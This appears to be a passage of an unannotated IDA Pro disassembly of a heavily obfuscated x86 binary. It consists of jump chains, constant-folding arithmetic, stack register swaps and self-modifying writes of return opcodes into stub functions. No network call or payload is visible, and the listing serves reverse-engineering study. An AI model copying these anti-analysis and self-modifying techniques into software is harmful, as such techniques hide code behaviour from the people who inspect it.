loc_457D14:				; CODE XREF: sub_43AE68+137EAj
		popf
		jmp	loc_446CC7
; END OF FUNCTION CHUNK	FOR sub_43AE68
; ---------------------------------------------------------------------------
		dw 637Bh
		dd 0DD603477h
; ---------------------------------------------------------------------------

loc_457D20:				; CODE XREF: dviuq5id:004592BDj
		jmp	nullsub_495
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_457D25:				; CODE XREF: sub_459804-12CF6j
		jmp	loc_45425A
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
		dw 7285h
dword_457D2C	dd 581E1DF7h		; DATA XREF: dviuq5id:0044B619w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447ECD

loc_457D30:				; CODE XREF: sub_447ECD+21CBj
		jmp	loc_43D600
; END OF FUNCTION CHUNK	FOR sub_447ECD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459983

loc_457D35:				; CODE XREF: sub_459983-16B39j
		jmp	loc_43E293
; END OF FUNCTION CHUNK	FOR sub_459983
; ---------------------------------------------------------------------------
		dw 0EEF9h
dword_457D3C	dd 0EB0513BEh		; DATA XREF: sub_4427DA+6w
					; sub_44A4E3-4326r
dword_457D40	dd 758161DFh		; DATA XREF: dviuq5id:0045A3E1w
dword_457D44	dd 758061DFh		; DATA XREF: sub_444ADC+C55Fr
					; sub_456D27w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_457D48:				; CODE XREF: sub_4440E9+C04Ej
		jmp	loc_44DDE4
; END OF FUNCTION CHUNK	FOR sub_4440E9
; ---------------------------------------------------------------------------
		db 0C7h, 31h, 0FFh
dword_457D50	dd 0			; DATA XREF: sub_447698+4o
					; sub_44DA57+4o ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_457D54:				; CODE XREF: sub_4440E9-4013j
		jmp	loc_439482
; END OF FUNCTION CHUNK	FOR sub_4440E9
; ---------------------------------------------------------------------------
		db 0C4h, 0E3h, 58h
dword_457D5C	dd 153940h		; DATA XREF: dviuq5id:0043D780r
					; sub_44226E+4w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_457D60:				; CODE XREF: sub_440898+15C91j
		jmp	loc_43C8D8
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_457D65:				; CODE XREF: sub_43EB11-16C0j
		jmp	loc_44DF90
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
		dw 0AE3Dh
off_457D6C	dd offset dword_41D000	; DATA XREF: dviuq5id:loc_445BC9o
					; dviuq5id:loc_4577EEo
		dd 13h,	50h, 5Bh, 170h,	1, 8, 5, 18h, 1, 8, 9, 28h, 3
		dd 10h,	19h, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_457DB4:				; CODE XREF: sub_446181+13E12j
		jmp	sub_45A04B
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D8AA

loc_457DB9:				; CODE XREF: sub_43D8AA+7j
					; dviuq5id:loc_44407Aj
		jmp	nullsub_176
; END OF FUNCTION CHUNK	FOR sub_43D8AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FE62

loc_457DBE:				; CODE XREF: sub_44FE62+352Fj
		jz	loc_4448F6
		jmp	loc_4445EB
; END OF FUNCTION CHUNK	FOR sub_44FE62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_457DC9:				; CODE XREF: sub_45383B:loc_454CE8j
		pop	edi
		mov	eax, [eax]
		or	eax, eax
		jz	loc_4585EC
		jmp	loc_43C706
; END OF FUNCTION CHUNK	FOR sub_45383B
; ---------------------------------------------------------------------------
		jg	loc_459AF0
		jmp	sub_43AA4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E6A7

loc_457DE4:				; CODE XREF: sub_43E6A7:loc_44825Bj
					; sub_43E6A7+F100j
		call	sub_4557F2
		retn
; END OF FUNCTION CHUNK	FOR sub_43E6A7
; ---------------------------------------------------------------------------

loc_457DEA:				; CODE XREF: dviuq5id:00454A3Cj
		jmp	loc_43FE7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E6A7

loc_457DEF:				; CODE XREF: sub_43E6A7+B06Dj
		call	sub_4574E7

loc_457DF4:				; CODE XREF: dviuq5id:004515ABj
		jmp	nullsub_303
; END OF FUNCTION CHUNK	FOR sub_43E6A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447698

loc_457DF9:				; CODE XREF: sub_447698+1Bj
		jmp	loc_43F5F3
; END OF FUNCTION CHUNK	FOR sub_447698

; =============== S U B	R O U T	I N E =======================================



sub_457DFE	proc near		; DATA XREF: sub_45288A-6AAFo
		xchg	esi, [esp+0]
		jmp	sub_454E7C
sub_457DFE	endp

; ---------------------------------------------------------------------------

loc_457E06:				; CODE XREF: dviuq5id:loc_449AEBj
		cmp	edi, 0AF0D0DFBh
		jmp	loc_44DF25
; ---------------------------------------------------------------------------

loc_457E11:				; CODE XREF: dviuq5id:00453277j
		xchg	ebx, ecx

; =============== S U B	R O U T	I N E =======================================



sub_457E13	proc near		; CODE XREF: sub_450B01:loc_44C5AEp

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		xchg	edi, [esp-4+arg_0]
		jmp	sub_453642
sub_457E13	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_457E1F	proc near		; CODE XREF: sub_44279B-90B6p
					; dviuq5id:00459CADj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043D881 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	ebx, 1E5B2BFFh
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_43D881
sub_457E1F	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_390. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A4C9

loc_457E32:				; CODE XREF: sub_45A4C9-78C2j
		jmp	loc_4578FC
; END OF FUNCTION CHUNK	FOR sub_45A4C9

; =============== S U B	R O U T	I N E =======================================



sub_457E37	proc near		; CODE XREF: sub_4422EC+Dp

; FUNCTION CHUNK AT 004407B5 SIZE 00000005 BYTES

		push	eax
		mov	eax, edi
		push	offset sub_443333
		jmp	loc_4407B5
sub_457E37	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_457E44:				; CODE XREF: sub_44CBA2:loc_442F27j
		and	eax, 2FCEAE61h
		xor	eax, 0A9C2D1BEh

loc_457E50:				; CODE XREF: sub_44B70C:loc_443BF7j
		add	eax, ebp
		add	eax, 737903DDh
		jmp	loc_4548BA
; END OF FUNCTION CHUNK	FOR sub_44CBA2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_457E5D	proc near		; DATA XREF: sub_44DFA2+9o
		jmp	sub_440576
sub_457E5D	endp

; ---------------------------------------------------------------------------
		jmp	loc_446D87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_457E67:				; CODE XREF: sub_441DDA-86E1j
					; sub_441DDA-60EDj ...
		push	offset sub_455400
		jmp	nullsub_332
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_457E71:				; CODE XREF: sub_4463B7:loc_43BDD4j
					; sub_4463B7+CC44j
		call	sub_456F43
		push	2EA65DBDh
		pop	edx
		add	edx, 398A1940h
		or	edx, 0C3D93C93h
		jmp	loc_43C219
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_457E8D:				; CODE XREF: sub_43EB11+11FEBj
		cdq
		rol	eax, 10h
		sub	edi, ecx

loc_457E93:				; CODE XREF: sub_43EB11:loc_450AEDj
		add	esi, 96D64B71h
		xchg	esi, [esp+4+var_4]
		jmp	loc_4429AB
; END OF FUNCTION CHUNK	FOR sub_43EB11

; =============== S U B	R O U T	I N E =======================================



sub_457EA1	proc near		; DATA XREF: dviuq5id:00446D49o

; FUNCTION CHUNK AT 0043E758 SIZE 00000005 BYTES

		add	edx, 0D8451F3Eh
		xchg	edx, [esp+0]
		jmp	loc_43E758
sub_457EA1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_457EAF:				; CODE XREF: sub_4525D0-13B8Cj
		jz	loc_44C76F
		ja	loc_43FC76
		test	ebp, esi
; END OF FUNCTION CHUNK	FOR sub_4525D0
; START	OF FUNCTION CHUNK FOR sub_450686

loc_457EBD:				; CODE XREF: sub_450686:loc_454623j
		jmp	loc_4435F7
; END OF FUNCTION CHUNK	FOR sub_450686

; =============== S U B	R O U T	I N E =======================================



sub_457EC2	proc near		; CODE XREF: sub_43E421-1730p
					; sub_45844D-546j

; FUNCTION CHUNK AT 0044B05F SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	eax, ebp
		add	eax, 8F5E5599h
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset sub_44A94D
		jmp	loc_44B05F
sub_457EC2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E87

loc_457EDC:				; CODE XREF: sub_439E87:loc_454B1Bj
		jz	loc_454644
		jmp	loc_43E975
; END OF FUNCTION CHUNK	FOR sub_439E87

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_457EE7	proc near		; CODE XREF: sub_455C2B:loc_459767j
		retn
sub_457EE7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_457EE8:				; CODE XREF: sub_44E1C0-7A80j
		jmp	nullsub_343
; END OF FUNCTION CHUNK	FOR sub_44E1C0

; =============== S U B	R O U T	I N E =======================================



sub_457EED	proc near		; CODE XREF: sub_44A98Cj
					; DATA XREF: sub_43B3A0+F5E2o

; FUNCTION CHUNK AT 0043CE39 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00441A45 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442CCB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00443C0C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004443F9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C1B1 SIZE 0000000B BYTES

		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_441963
		jmp	loc_44C1B1
sub_457EED	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45844D

loc_457F01:				; CODE XREF: sub_45844D-79E4j
		jge	loc_45A2D5
		jmp	sub_457EC2
; END OF FUNCTION CHUNK	FOR sub_45844D
; ---------------------------------------------------------------------------

loc_457F0C:				; CODE XREF: dviuq5id:loc_43B83Cj
		jnz	loc_455C18
		mov	eax, [esp]
		push	edx
		call	sub_454AAA
		mov	eax, 5A4FBBBh
		push	esi

loc_457F21:				; CODE XREF: dviuq5id:loc_44E359j
		push	0E4177746h
		jmp	loc_457789

; =============== S U B	R O U T	I N E =======================================



sub_457F2B	proc near		; CODE XREF: dviuq5id:00442739j
					; dviuq5id:004466ACp
		xchg	eax, [esp+0]
		pop	eax
		pop	ecx
		lea	eax, nullsub_448
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_448
sub_457F2B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_457F3E:				; CODE XREF: dviuq5id:loc_43E543j
					; dviuq5id:0044763Ej
		push	eax
		lea	eax, dword_44F9B8
		push	eax
		call	sub_441B05

loc_457F4B:				; CODE XREF: dviuq5id:00447AACj
		jbe	loc_43C343

loc_457F51:				; CODE XREF: dviuq5id:loc_439E21j
		xor	eax, 60450E58h
		push	esi
		push	923F2A14h
		pop	esi
		rol	esi, 19h
		jmp	loc_43C7AA
; ---------------------------------------------------------------------------
		test	al, al
		jz	locret_4543A0
		jmp	loc_44A5DA
; ---------------------------------------------------------------------------

locret_457F73:				; CODE XREF: dviuq5id:0044C2DDj
					; dviuq5id:loc_452B9Bj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E2FA

loc_457F74:				; CODE XREF: sub_44E2FA+AFFAj
		jmp	nullsub_359
; END OF FUNCTION CHUNK	FOR sub_44E2FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44117F

loc_457F79:				; CODE XREF: sub_44117F+13AEDj
		jmp	nullsub_308
; END OF FUNCTION CHUNK	FOR sub_44117F
; ---------------------------------------------------------------------------

loc_457F7E:				; CODE XREF: dviuq5id:004537AFj
		jmp	locret_454E27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C80D

loc_457F83:				; CODE XREF: sub_44C80D:loc_444FFAj
		mov	esi, 71BF0DF4h
		add	esi, ebx
		jmp	loc_458A98
; END OF FUNCTION CHUNK	FOR sub_44C80D
; ---------------------------------------------------------------------------

loc_457F8F:				; CODE XREF: dviuq5id:00454D0Cj
		jnb	loc_450E74
		mov	[eax], ecx
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_457F97:				; CODE XREF: sub_443F7F:loc_44AF14j
		add	esi, 0B8477887h
		mov	[esi], eax
		pop	esi
		lea	eax, loc_4599E9
		jmp	loc_444D8D
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_457FAB:				; CODE XREF: sub_443ECE:loc_443EDCj
		jnz	loc_442B7B
		jmp	loc_44B06A
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------
		and	edx, 0A670F61Eh
		jmp	loc_44C6B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_457FC1:				; CODE XREF: sub_4492F0-E1FFj
		and	eax, 54F9793Ah
		cmp	eax, 0EB50C969h
		jmp	loc_45187E
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
		sub	edi, 7E9976D9h
		jmp	loc_45753D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_457FDD:				; CODE XREF: sub_439013:loc_44B06Fj
		jnz	loc_452B20

loc_457FE3:				; CODE XREF: dviuq5id:00456BD8j
		jmp	sub_43D7C1
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD0B

loc_457FE8:				; CODE XREF: sub_44BD0B-EBE8j
		jmp	loc_4555AF
; END OF FUNCTION CHUNK	FOR sub_44BD0B
; ---------------------------------------------------------------------------
		test	ebp, 0AB5A6CF7h
		jmp	loc_44A6BE
; ---------------------------------------------------------------------------

loc_457FF8:				; CODE XREF: dviuq5id:00457685j
		mov	edx, edi
		or	eax, 0E0EAA83Dh
		jle	loc_442E47
; START	OF FUNCTION CHUNK FOR sub_458B23

loc_458006:				; CODE XREF: sub_458B23:loc_45766Ej
		add	edx, 0ABEBD940h
		xchg	edx, [esp+0]
		jmp	loc_441CAE
; END OF FUNCTION CHUNK	FOR sub_458B23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_458014:				; CODE XREF: sub_44CBA2:loc_448AD8j
		jz	loc_443877
		jmp	loc_439A40
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4408FF

loc_45801F:				; CODE XREF: sub_4408FF:loc_452687j
		jnz	loc_44BA1B
		jmp	loc_44D84A
; END OF FUNCTION CHUNK	FOR sub_4408FF
; ---------------------------------------------------------------------------

loc_45802A:				; DATA XREF: sub_457574-10E1Fo
		push	edi
		push	0EA899E7Dh
		pop	edi
		sub	edi, 88FAD79Ah
		or	edi, 3691E244h
		xor	edi, 246375A0h
		jmp	loc_43AD4D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_415. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440AB3

loc_458049:				; CODE XREF: sub_440AB3+1DDCj
		jmp	loc_44FDC9
; END OF FUNCTION CHUNK	FOR sub_440AB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_45804E:				; CODE XREF: sub_459804-1FA85j
		mov	[ebp-1Ch], eax
		jmp	loc_454B97
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_458056:				; CODE XREF: sub_43C9A9+14j
					; sub_4597EF-D3Ej
		mov	eax, [ebp-24h]
		add	eax, 0C77A7F4Ch
		add	eax, 388580B8h
		mov	eax, [eax]
		jmp	loc_449910
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; ---------------------------------------------------------------------------
		pop	ebp
		jmp	loc_443E3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458330

loc_458072:				; CODE XREF: sub_458330-1B07Aj
		not	eax

loc_458074:				; CODE XREF: sub_458330:loc_452C86j
		lea	eax, [ebp-12Dh]
		push	eax
		call	sub_43A101
		mov	[ebp-4], eax

loc_458083:				; CODE XREF: dviuq5id:004393ADj
					; dviuq5id:0043E5CDj ...
		push	58291DBFh
		jmp	loc_4590DB
; END OF FUNCTION CHUNK	FOR sub_458330
; ---------------------------------------------------------------------------

loc_45808D:				; CODE XREF: dviuq5id:loc_450F85j
		xor	edi, 0FBE60F23h
		xchg	edx, [eax]
; START	OF FUNCTION CHUNK FOR sub_454267

loc_458095:				; CODE XREF: sub_454267:loc_44EF58j
		popf
		mov	[edx], ebp
		jmp	loc_43E77A
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_45809D:				; CODE XREF: sub_459385-A01Bj
		jnz	loc_44EBFB
		jmp	loc_444510
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4580A8:				; CODE XREF: sub_43FA59+175D6j
		or	eax, 55B1A297h
		add	eax, 7AF52051h
		add	eax, ebp
		add	eax, 0AF0EE50Ch
		mov	eax, [eax]
		jmp	loc_439DD0
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_4580C3:				; CODE XREF: dviuq5id:00446AE3j
		rol	eax, 4
		jb	loc_43E37B
		push	edi
		jmp	loc_43E367
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_4580D2:				; CODE XREF: sub_44B2EA-11EDj
		jnz	loc_44A824
		pushf
		sub	ebp, esi
		push	7DD9A9F4h

loc_4580E0:				; CODE XREF: sub_4420DF:loc_441223j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43C2A8
		jmp	loc_448C5B
; END OF FUNCTION CHUNK	FOR sub_44B2EA

; =============== S U B	R O U T	I N E =======================================



sub_4580F1	proc near		; CODE XREF: sub_453F0A-17C78p
					; dviuq5id:00451C98j

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		add	ebx, 7AA45861h
		xchg	ebx, [esp-4+arg_0]
		jmp	sub_44E1C0
sub_4580F1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452D9B

loc_458103:				; CODE XREF: sub_452D9B:loc_43C086j
		jnz	loc_453385
		jmp	loc_44ECEE
; END OF FUNCTION CHUNK	FOR sub_452D9B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_413. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_45810F:				; CODE XREF: dviuq5id:0044F28Bj
		jmp	nullsub_3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_509. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452D9B

loc_458115:				; CODE XREF: sub_452D9B-704Fj
		jmp	loc_454A41
; END OF FUNCTION CHUNK	FOR sub_452D9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_45811A:				; CODE XREF: sub_43FA59+99EDj
		jmp	loc_43A747
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_45811F:				; CODE XREF: sub_445817+2321j
					; sub_443AC1+8B40j
		jnz	loc_44D474

loc_458125:				; CODE XREF: sub_4400A1+10D40j
		jmp	nullsub_311
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4559CE

loc_45812A:				; CODE XREF: sub_4559CE-B3F9j
		jmp	loc_43BA25
; END OF FUNCTION CHUNK	FOR sub_4559CE
; ---------------------------------------------------------------------------
		mov	ebp, [edi]
		sbb	eax, 47B3C17Ch
		popf
		jmp	loc_44D46C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446004

loc_45813D:				; CODE XREF: sub_446004+12j
		mov	dword ptr [eax], 70736957h
		lea	eax, [ebp-1Ch]
		mov	dword ptr [eax], 646E6957h
		lea	eax, [ebp-18h]
		mov	dword ptr [eax], 6C43776Fh
		jmp	loc_45A167
; END OF FUNCTION CHUNK	FOR sub_446004

; =============== S U B	R O U T	I N E =======================================



sub_45815A	proc near		; CODE XREF: dviuq5id:0043D6A6j
					; dviuq5id:00451147p
		xchg	ebx, [esp+0]
		pop	ebx
		add	eax, 1F5ED0E9h
		mov	eax, [eax]
		push	offset loc_43F896
		jmp	nullsub_485
sub_45815A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442503

loc_458170:				; CODE XREF: sub_442503+17A97j
		and	ebp, edx
		and	eax, ebp

loc_458174:				; CODE XREF: sub_442503:loc_43A87Cj
		push	offset sub_43A1BD
		jmp	nullsub_313
; END OF FUNCTION CHUNK	FOR sub_442503

; =============== S U B	R O U T	I N E =======================================



sub_45817E	proc near		; DATA XREF: sub_452019-16EE9o
		pop	ecx
sub_45817E	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_452E2A

loc_45817F:				; CODE XREF: dviuq5id:0043D044j
					; sub_4489BA+2j ...
		dec	ds:dword_448954
		mov	eax, [ebp-4]
		pop	ecx
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_452E2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C710

loc_45818D:				; CODE XREF: sub_43C710+15j
		jmp	loc_440B37
; END OF FUNCTION CHUNK	FOR sub_43C710

; =============== S U B	R O U T	I N E =======================================



sub_458192	proc near		; CODE XREF: dviuq5id:0043A7F6p
					; dviuq5id:0043D031p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439586 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441607 SIZE 0000000F BYTES

		push	eax
		jmp	loc_441607
sub_458192	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_458198:				; CODE XREF: sub_43CB4C:loc_450EE2j
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_44FEF8
		call	sub_44C148

loc_4581A7:				; CODE XREF: sub_43C2DA-241Cj
		jmp	loc_44F478
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4396BB

loc_4581AC:				; CODE XREF: sub_4396BB+732Dj
		not	edx
		jnb	loc_44EC6C
		cdq
		jmp	loc_4417C2
; END OF FUNCTION CHUNK	FOR sub_4396BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44124F

loc_4581BA:				; CODE XREF: sub_44124F-1CE9j
		push	offset loc_44E737
		jmp	loc_44401A
; END OF FUNCTION CHUNK	FOR sub_44124F

; =============== S U B	R O U T	I N E =======================================



sub_4581C4	proc near		; CODE XREF: dviuq5id:0043C0DDj
					; sub_4551F9+Ap
		xchg	ecx, [esp+0]
		pop	ecx
		push	ecx
		push	offset loc_4417E0
		jmp	nullsub_315
sub_4581C4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_4581D3:				; CODE XREF: sub_459804-A7A4j
					; sub_459804-241Fj
		push	97BB8354h
		pop	eax
		xor	eax, 5578E7CEh
		and	eax, 0F6354B03h
		js	loc_439D6F
		popf
		jmp	loc_43DA87
; END OF FUNCTION CHUNK	FOR sub_459804

; =============== S U B	R O U T	I N E =======================================



sub_4581F1	proc near		; DATA XREF: dviuq5id:004537AAo
		mov	byte ptr [eax],	0C3h
		jmp	loc_43B7DA
sub_4581F1	endp

; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		push	ecx
		mov	ecx, ebx
		xchg	ecx, [esp]
		push	5691DC1Bh
		jmp	loc_449A73
; ---------------------------------------------------------------------------

loc_45820E:				; DATA XREF: sub_443354+9F6Do
		push	eax
		push	59DCD02h
		pop	eax
		xor	eax, 90569181h
		jmp	loc_44185E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4404A6

loc_458220:				; CODE XREF: sub_4404A6+43F1j
		xchg	edi, [esp+0]

loc_458223:				; CODE XREF: dviuq5id:loc_457440j
		push	ecx
		mov	ecx, ebx
		xchg	ecx, [esp+4+var_4]
		jmp	loc_453827
; END OF FUNCTION CHUNK	FOR sub_4404A6
; ---------------------------------------------------------------------------
		push	ebx
		push	52D00C47h
		pop	ebx
		xor	ebx, 43D40DFCh
		or	ebx, 4985B426h
		sub	ebx, 6A4D9ADAh
		add	ebx, 0E4B43504h
		jmp	loc_4462BB
; ---------------------------------------------------------------------------

locret_458252:				; CODE XREF: dviuq5id:0043BD9Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459DA3

loc_458253:				; CODE XREF: sub_459DA3-B1E4j
		jmp	loc_44A070
; END OF FUNCTION CHUNK	FOR sub_459DA3
; ---------------------------------------------------------------------------

loc_458258:				; CODE XREF: dviuq5id:loc_43E2F9j
		xchg	edx, [esp]
		jmp	sub_43C4B5
; ---------------------------------------------------------------------------

loc_458260:				; CODE XREF: dviuq5id:00455F77j
		jnz	loc_43E398

loc_458266:				; CODE XREF: dviuq5id:00440D2Aj
		push	0BBAE56DEh
		jz	loc_43BFDB
		sbb	esi, eax
		jl	loc_446633
		jmp	loc_43E398
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C2F6

loc_45827E:				; CODE XREF: sub_44C2F6:loc_446B3Ej
		call	sub_44DFA2

loc_458283:				; CODE XREF: dviuq5id:0043E890j
					; dviuq5id:loc_44180Dj
		push	edi
		push	offset loc_44FDFE
		jmp	loc_451B31
; END OF FUNCTION CHUNK	FOR sub_44C2F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4534AA

loc_45828E:				; CODE XREF: sub_4534AA+6DC4j
		ja	loc_44A404
		or	ebx, esi

loc_458296:				; CODE XREF: dviuq5id:loc_43A17Cj
		jmp	loc_4463F6
; END OF FUNCTION CHUNK	FOR sub_4534AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_45829B:				; CODE XREF: sub_444A5E-96CAj
		push	edi
		push	7A659E89h
		pop	edi
		add	edi, 58B54260h
		jmp	loc_43EED7
; END OF FUNCTION CHUNK	FOR sub_444A5E

; =============== S U B	R O U T	I N E =======================================



sub_4582AD	proc near		; CODE XREF: sub_441DDA+61B6p
					; dviuq5id:00451450j

; FUNCTION CHUNK AT 0043E24F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F13D SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00441A4F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044804A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E0AE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0045443F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00455FC6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458740 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00459D52 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	eax

loc_4582B2:				; CODE XREF: sub_43938B+9382j
		call	sub_449423
		test	eax, eax
		jnz	loc_441A4F
		jmp	loc_43E24F
sub_4582AD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_4582C4:				; CODE XREF: sub_4463B7:loc_4448D9j
		push	353649A9h
		pop	eax
		or	eax, 0AAAB0BFBh
		and	eax, 93D6402h
		add	eax, 0F706AE2Eh
		jmp	loc_45010D
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_4582E1:				; CODE XREF: sub_459385:loc_44BC6Ej
		jnz	loc_4555D6
		jmp	loc_44CD61
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
